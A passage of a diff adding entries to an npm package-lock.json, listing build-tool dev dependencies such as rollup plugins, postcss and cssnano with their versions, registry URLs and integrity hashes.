+ "@rollup/plugin-typescript": "^11.1.3",
+ "cssnano": "^6.0.1",
+ "postcss": "^8.4.6",
+ "postcss-cli": "^10.1.0",
+ "postcss-import": "^15.1.0",
+ "rollup": "^3.29.2",
+ "rollup-plugin-terser": "^7.0.2",
+ "tslib": "^2.3.1",
+ "typescript": "^5.2.2"
+ }
+ },
+ "node_modules/@babel/code-frame": {
+ "version": "7.22.13",
+ "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.13.tgz",
+ "integrity": "sha512-XktuhWlJ5g+3TJXc5upd9Ks1HutSArik6jf2eAjYFyIOf4ej3RN+184cZbzDvbPnuTJIUhPKKJE3cIsYTiAT3w==",
+ "dev": true,
+ "dependencies": {
+ "@babel/highlight": "^7.22.13",
+ "chalk": "^2.4.2"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/helper-validator-identifier": {
+ "version": "7.22.20",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz",
+ "integrity": "sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@babel/highlight": {
+ "version": "7.22.20",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.20.tgz",
+ "integrity": "sha512-dkdMCN3py0+ksCgYmGG8jKeGA/8Tk+gJwSYYlFGxG5lmhfKNoAy004YpLxpS1W2J8m/EK2Ew+yOs9pVRwO89mg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/helper-validator-identifier": "^7.22.20",
+ "chalk": "^2.4.2",
+ "js-tokens": "^4.0.0"
+ },
+ "engines": {
+ "node": ">=6.9.0"
+ }
+ },
+ "node_modules/@jridgewell/gen-mapping": {
+ "version": "0.3.3",
+ "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz",
+ "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==",
+ "dev": true,
+ "dependencies": {
+ "@jridgewell/set-array": "^1.0.1",
+ "@jridgewell/sourcemap-codec": "^1.4.10",
+ "@jridgewell/trace-mapping": "^0.3.9"
+ },
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/resolve-uri": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz",
+ "integrity": "sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/set-array": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz",
+ "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==",
+ "dev": true,
+ "engines": {
+ "node": ">=6.0.0"
+ }
+ },
+ "node_modules/@jridgewell/source-map": {
+ "version": "0.3.5",
+ "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.5.tgz",
+ "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==",
+ "dev": true,
+ "dependencies": {
+ "@jridgewell/gen-mapping": "^0.3.0",
+ "@jridgewell/trace-mapping": "^0.3.9"
+ }
+ },
+ "node_modules/@jridgewell/sourcemap-codec": {
+ "version": "1.4.15",
+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz",
+ "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==",
+ "dev": true
+ },
+ "node_modules/@jridgewell/trace-mapping": {
+ "version": "0.3.19",
+ "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.19.tgz",
+ "integrity": "sha512-kf37QtfW+Hwx/buWGMPcR60iF9ziHa6r/CZJIHbmcm4+0qrXiVdxegAH0F6yddEVQ7zdkjcGCgCzUu+BcbhQxw==",
+ "dev": true,
+ "dependencies": {
+ "@jridgewell/resolve-uri": "^3.1.0",
+ "@jridgewell/sourcemap-codec": "^1.4.14"
+ }
+ },
+ "node_modules/@nodelib/fs.scandir": {
+ "version": "2.1.5",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",
+ "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",
+ "dev": true,
+ "dependencies": {
+ "@nodelib/fs.stat": "2.0.5",
+ "run-parallel": "^1.1.9"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@nodelib/fs.stat": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",
+ "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",
+ "dev": true,
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@nodelib/fs.walk": {
+ "version": "1.2.8",
+ "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",
+ "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",
+ "dev": true,
+ "dependencies": {
+ "@nodelib/fs.scandir": "2.1.5",
+ "fastq": "^1.6.0"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/@rollup/plugin-commonjs": {
+ "version": "25.0.4",
+ "resolved": "https://registry.npmjs.org/@rollup/plugin-commonjs/-/plugin-commonjs-25.0.4.tgz",
+ "integrity": "sha512-L92Vz9WUZXDnlQQl3EwbypJR4+DM2EbsO+/KOcEkP4Mc6Ct453EeDB2uH9lgRwj4w5yflgNpq9pHOiY8aoUXBQ==",
+ "dev": true,
+ "dependencies": {
+ "@rollup/pluginutils": "^5.0.1",
+ "commondir": "^1.0.1",
+ "estree-walker": "^2.0.2",
+ "glob": "^8.0.3",
+ "is-reference": "1.2.1",
+ "magic-string": "^0.27.0"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ },
+ "peerDependencies": {
+ "rollup": "^2.68.0||^3.0.0"
+ },
+ "peerDependenciesMeta": {
+ "rollup": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@rollup/plugin-json": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/@rollup/plugin-json/-/plugin-json-6.0.0.tgz",
+ "integrity": "sha512-i/4C5Jrdr1XUarRhVu27EEwjt4GObltD7c+MkCIpO2QIbojw8MUs+CCTqOphQi3Qtg1FLmYt+l+6YeoIf51J7w==",
+ "dev": true,
+ "dependencies": {
+ "@rollup/pluginutils": "^5.0.1"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ },
+ "peerDependencies": {
+ "rollup": "^1.20.0||^2.0.0||^3.0.0"
+ },
+ "peerDependenciesMeta": {
+ "rollup": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@rollup/plugin-node-resolve": {
+ "version": "15.2.1",
+ "resolved": "https://registry.npmjs.org/@rollup/plugin-node-resolve/-/plugin-node-resolve-15.2.1.tgz",
+ "integrity": "sha512-nsbUg588+GDSu8/NS8T4UAshO6xeaOfINNuXeVHcKV02LJtoRaM1SiOacClw4kws1SFiNhdLGxlbMY9ga/zs/w==",
+ "dev": true,
+ "dependencies": {
+ "@rollup/pluginutils": "^5.0.1",
+ "@types/resolve": "1.20.2",
+ "deepmerge": "^4.2.2",
+ "is-builtin-module": "^3.2.1",
+ "is-module": "^1.0.0",
+ "resolve": "^1.22.1"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ },
+ "peerDependencies": {
+ "rollup": "^2.78.0||^3.0.0"
+ },
+ "peerDependenciesMeta": {
+ "rollup": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@rollup/plugin-typescript": {
+ "version": "11.1.3",
+ "resolved": "https://registry.npmjs.org/@rollup/plugin-typescript/-/plugin-typescript-11.1.3.tgz",
+ "integrity": "sha512-8o6cNgN44kQBcpsUJTbTXMTtb87oR1O0zgP3Dxm71hrNgparap3VujgofEilTYJo+ivf2ke6uy3/E5QEaiRlDA==",
+ "dev": true,
+ "dependencies": {
+ "@rollup/pluginutils": "^5.0.1",
+ "resolve": "^1.22.1"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ },
+ "peerDependencies": {
+ "rollup": "^2.14.0||^3.0.0",
+ "tslib": "*",
+ "typescript": ">=3.7.0"
+ },
+ "peerDependenciesMeta": {
+ "rollup": {
+ "optional": true
+ },
+ "tslib": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@rollup/pluginutils": {
+ "version": "5.0.4",
+ "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.0.4.tgz",
+ "integrity": "sha512-0KJnIoRI8A+a1dqOYLxH8vBf8bphDmty5QvIm2hqm7oFCFYKCAZWWd2hXgMibaPsNDhI0AtpYfQZJG47pt/k4g==",
+ "dev": true,
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "estree-walker": "^2.0.2",
+ "picomatch": "^2.3.1"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ },
+ "peerDependencies": {
+ "rollup": "^1.20.0||^2.0.0||^3.0.0"
+ },
+ "peerDependenciesMeta": {
+ "rollup": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@trysound/sax": {
+ "version": "0.2.0",
+ "resolved": "https://registry.npmjs.org/@trysound/sax/-/sax-0.2.0.tgz",
+ "integrity": "sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==",
+ "dev": true,
+ "engines": {
+ "node": ">=10.13.0"
+ }
+ },
+ "node_modules/@types/estree": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.1.tgz",
+ "integrity": "sha512-LG4opVs2ANWZ1TJoKc937iMmNstM/d0ae1vNbnBvBhqCSezgVUOzcLCqbI5elV8Vy6WKwKjaqR+zO9VKirBBCA==",
+ "dev": true
+ },
+ "node_modules/@types/node": {
+ "version": "20.6.3",
+ "resolved": "https://registry.npmjs.org/@types/node/-/node-20.6.3.tgz",
+ "integrity": "sha512-HksnYH4Ljr4VQgEy2lTStbCKv/P590tmPe5HqOnv9Gprffgv5WXAY+Y5Gqniu0GGqeTCUdBnzC3QSrzPkBkAMA==",
+ "dev": true
+ },
+ "node_modules/@types/resolve": {
+ "version": "1.20.2",
+ "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.20.2.tgz",
+ "integrity": "sha512-60BCwRFOZCQhDncwQdxxeOEEkbc5dIMccYLwbxsS4TUNeVECQ/pBJ0j09mrHOl/JJvpRPGwO9SvE4nR2Nb/a4Q==",
+ "dev": true
+ },
+ "node_modules/acorn": {
+ "version": "8.10.0",
+ "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz",
+ "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==",
+ "dev": true,
+ "bin": {
+ "acorn": "bin/acorn"
+ },
+ "engines": {
+ "node": ">=0.4.0"
+ }
+ },
+ "node_modules/ansi-regex": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+ "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/ansi-styles": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+ "dev": true,
+ "dependencies": {
+ "color-convert": "^1.9.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/anymatch": {
+ "version": "3.1.3",
+ "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
+ "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
+ "dev": true,
+ "dependencies": {
+ "normalize-path": "^3.0.0",
+ "picomatch": "^2.0.4"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/balanced-match": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+ "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+ "dev": true
+ },
+ "node_modules/binary-extensions": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+ "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/boolbase": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz",
+ "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==",
+ "dev": true
+ },
+ "node_modules/brace-expansion": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
+ "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
+ "dev": true,
+ "dependencies": {
+ "balanced-match": "^1.0.0"
+ }
+ },
+ "node_modules/braces": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
+ "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
+ "dev": true,
+ "dependencies": {
+ "fill-range": "^7.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/browserslist": {
+ "version": "4.21.10",
+ "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.10.tgz",
+ "integrity": "sha512-bipEBdZfVH5/pwrvqc+Ub0kUPVfGUhlKxbvfD+z1BDnPEO/X98ruXGA1WP5ASpAFKan7Qr6j736IacbZQuAlKQ==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/browserslist"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "dependencies": {
+ "caniuse-lite": "^1.0.30001517",
+ "electron-to-chromium": "^1.4.477",
+ "node-releases": "^2.0.13",
+ "update-browserslist-db": "^1.0.11"
+ },
+ "bin": {
+ "browserslist": "cli.js"
+ },
+ "engines": {
+ "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
+ }
+ },
+ "node_modules/buffer-from": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
+ "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
+ "dev": true
+ },
+ "node_modules/builtin-modules": {
+ "version": "3.3.0",
+ "resolved": "https://registry.npmjs.org/builtin-modules/-/builtin-modules-3.3.0.tgz",
+ "integrity": "sha512-zhaCDicdLuWN5UbN5IMnFqNMhNfo919sH85y2/ea+5Yg9TsTkeZxpL+JLbp6cgYFS4sRLp3YV4S6yDuqVWHYOw==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/caniuse-api": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-3.0.0.tgz",
+ "integrity": "sha512-bsTwuIg/BZZK/vreVTYYbSWoe2F+71P7K5QGEX+pT250DZbfU1MQ5prOKpPR+LL6uWKK3KMwMCAS74QB3Um1uw==",
+ "dev": true,
+ "dependencies": {
+ "browserslist": "^4.0.0",
+ "caniuse-lite": "^1.0.0",
+ "lodash.memoize": "^4.1.2",
+ "lodash.uniq": "^4.5.0"
+ }
+ },
+ "node_modules/caniuse-lite": {
+ "version": "1.0.30001538",
+ "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001538.tgz",
+ "integrity": "sha512-HWJnhnID+0YMtGlzcp3T9drmBJUVDchPJ08tpUGFLs9CYlwWPH2uLgpHn8fND5pCgXVtnGS3H4QR9XLMHVNkHw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ]
+ },
+ "node_modules/chalk": {
+ "version": "2.4.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+ "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+ "dev": true,
+ "dependencies": {
+ "ansi-styles": "^3.2.1",
+ "escape-string-regexp": "^1.0.5",
+ "supports-color": "^5.3.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/chokidar": {
+ "version": "3.5.3",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz",
+ "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "individual",
+ "url": "https://paulmillr.com/funding/"
+ }
+ ],
+ "dependencies": {
+ "anymatch": "~3.1.2",
+ "braces": "~3.0.2",
+ "glob-parent": "~5.1.2",
+ "is-binary-path": "~2.1.0",
+ "is-glob": "~4.0.1",
+ "normalize-path": "~3.0.0",
+ "readdirp": "~3.6.0"
+ },
+ "engines": {
+ "node": ">= 8.10.0"
+ },
+ "optionalDependencies": {
+ "fsevents": "~2.3.2"
+ }
+ },
+ "node_modules/cliui": {
+ "version": "8.0.1",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
+ "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==",
+ "dev": true,
+ "dependencies": {
+ "string-width": "^4.2.0",
+ "strip-ansi": "^6.0.1",
+ "wrap-ansi": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/color-convert": {
+ "version": "1.9.3",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
+ "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
+ "dev": true,
+ "dependencies": {
+ "color-name": "1.1.3"
+ }
+ },
+ "node_modules/color-name": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
+ "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
+ "dev": true
+ },
+ "node_modules/colord": {
+ "version": "2.9.3",
+ "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz",
+ "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==",
+ "dev": true
+ },
+ "node_modules/commander": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz",
+ "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==",
+ "dev": true,
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/commondir": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
+ "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==",
+ "dev": true
+ },
+ "node_modules/css-declaration-sorter": {
+ "version": "6.4.1",
+ "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.4.1.tgz",
+ "integrity": "sha512-rtdthzxKuyq6IzqX6jEcIzQF/YqccluefyCYheovBOLhFT/drQA9zj/UbRAa9J7C0o6EG6u3E6g+vKkay7/k3g==",
+ "dev": true,
+ "engines": {
+ "node": "^10 || ^12 || >=14"
+ },
+ "peerDependencies": {
+ "postcss": "^8.0.9"
+ }
+ },
+ "node_modules/css-select": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz",
+ "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==",
+ "dev": true,
+ "dependencies": {
+ "boolbase": "^1.0.0",
+ "css-what": "^6.1.0",
+ "domhandler": "^5.0.2",
+ "domutils": "^3.0.1",
+ "nth-check": "^2.0.1"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/fb55"
+ }
+ },
+ "node_modules/css-tree": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.3.1.tgz",
+ "integrity": "sha512-6Fv1DV/TYw//QF5IzQdqsNDjx/wc8TrMBZsqjL9eW01tWb7R7k/mq+/VXfJCl7SoD5emsJop9cOByJZfs8hYIw==",
+ "dev": true,
+ "dependencies": {
+ "mdn-data": "2.0.30",
+ "source-map-js": "^1.0.1"
+ },
+ "engines": {
+ "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0"
+ }
+ },
+ "node_modules/css-what": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz",
+ "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==",
+ "dev": true,
+ "engines": {
+ "node": ">= 6"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/fb55"
+ }
+ },
+ "node_modules/cssesc": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
+ "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
+ "dev": true,
+ "bin": {
+ "cssesc": "bin/cssesc"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/cssnano": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-6.0.1.tgz",
+ "integrity": "sha512-fVO1JdJ0LSdIGJq68eIxOqFpIJrZqXUsBt8fkrBcztCQqAjQD51OhZp7tc0ImcbwXD4k7ny84QTV90nZhmqbkg==",
+ "dev": true,
+ "dependencies": {
+ "cssnano-preset-default": "^6.0.1",
+ "lilconfig": "^2.1.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/cssnano"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/cssnano-preset-default": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/cssnano-preset-default/-/cssnano-preset-default-6.0.1.tgz",
+ "integrity": "sha512-7VzyFZ5zEB1+l1nToKyrRkuaJIx0zi/1npjvZfbBwbtNTzhLtlvYraK/7/uqmX2Wb2aQtd983uuGw79jAjLSuQ==",
+ "dev": true,
+ "dependencies": {
+ "css-declaration-sorter": "^6.3.1",
+ "cssnano-utils": "^4.0.0",
+ "postcss-calc": "^9.0.0",
+ "postcss-colormin": "^6.0.0",
+ "postcss-convert-values": "^6.0.0",
+ "postcss-discard-comments": "^6.0.0",
+ "postcss-discard-duplicates": "^6.0.0",
+ "postcss-discard-empty": "^6.0.0",
+ "postcss-discard-overridden": "^6.0.0",
+ "postcss-merge-longhand": "^6.0.0",
+ "postcss-merge-rules": "^6.0.1",
+ "postcss-minify-font-values": "^6.0.0",
+ "postcss-minify-gradients": "^6.0.0",
+ "postcss-minify-params": "^6.0.0",
+ "postcss-minify-selectors": "^6.0.0",
+ "postcss-normalize-charset": "^6.0.0",
+ "postcss-normalize-display-values": "^6.0.0",
+ "postcss-normalize-positions": "^6.0.0",
+ "postcss-normalize-repeat-style": "^6.0.0",
+ "postcss-normalize-string": "^6.0.0",
+ "postcss-normalize-timing-functions": "^6.0.0",
+ "postcss-normalize-unicode": "^6.0.0",
+ "postcss-normalize-url": "^6.0.0",
+ "postcss-normalize-whitespace": "^6.0.0",
+ "postcss-ordered-values": "^6.0.0",
+ "postcss-reduce-initial": "^6.0.0",
+ "postcss-reduce-transforms": "^6.0.0",
+ "postcss-svgo": "^6.0.0",
+ "postcss-unique-selectors": "^6.0.0"
+ },
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/cssnano-utils": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/cssnano-utils/-/cssnano-utils-4.0.0.tgz",
+ "integrity": "sha512-Z39TLP+1E0KUcd7LGyF4qMfu8ZufI0rDzhdyAMsa/8UyNUU8wpS0fhdBxbQbv32r64ea00h4878gommRVg2BHw==",
+ "dev": true,
+ "engines": {
+ "node": "^14 || ^16 || >=18.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.15"
+ }
+ },
+ "node_modules/csso": {
+ "version": "5.0.5",
+ "resolved": "https://registry.npmjs.org/csso/-/csso-5.0.5.tgz",
+ "integrity": "sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==",
+ "dev": true,
+ "dependencies": {
+ "css-tree": "~2.2.0"
+ },
+ "engines": {
+ "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0",
+ "npm": ">=7.0.0"
+ }
+ },
+ "node_modules/csso/node_modules/css-tree": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-2.2.1.tgz",
+ "integrity": "sha512-OA0mILzGc1kCOCSJerOeqDxDQ4HOh+G8NbOJFOTgOCzpw7fCBubk0fEyxp8AgOL/jvLgYA/uV0cMbe43ElF1JA==",
+ "dev": true,
+ "dependencies": {
+ "mdn-data": "2.0.28",
+ "source-map-js": "^1.0.1"
+ },
+ "engines": {
+ "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0",
+ "npm": ">=7.0.0"
+ }
+ },
+ "node_modules/csso/node_modules/mdn-data": {
+ "version": "2.0.28",
+ "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.28.tgz",
+ "integrity": "sha512-aylIc7Z9y4yzHYAJNuESG3hfhC+0Ibp/MAMiaOZgNv4pmEdFyfZhhhny4MNiAfWdBQ1RQ2mfDWmM1x8SvGyp8g==",
